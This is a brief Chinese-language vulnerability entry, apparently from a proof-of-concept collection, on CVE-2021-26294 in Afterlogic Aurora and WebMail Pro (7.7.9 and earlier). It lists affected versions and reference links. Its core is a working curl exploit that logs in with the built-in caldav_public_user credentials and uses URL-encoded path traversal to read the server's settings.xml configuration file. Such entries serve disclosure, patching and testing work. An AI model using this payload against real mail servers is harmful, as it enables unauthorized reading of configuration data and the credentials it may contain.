# Afterlogic Aurora & WebMail Pro 任意文件读取（CVE-2021-26294）

攻击者可以通过caldav_public_user@localhost用户登录，不需要其它用户信息就可以读取配置文件从而获得敏感信息。

影响版本：

* WebMail Pro ≤ 7.7.9
* Afterlogic Aurora ≤ 7.7.9

PoC：


```bash
curl -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml"
```

ref：

* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26294
* https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md
* https://forum.ywhack.com/thread-115326-1-8.html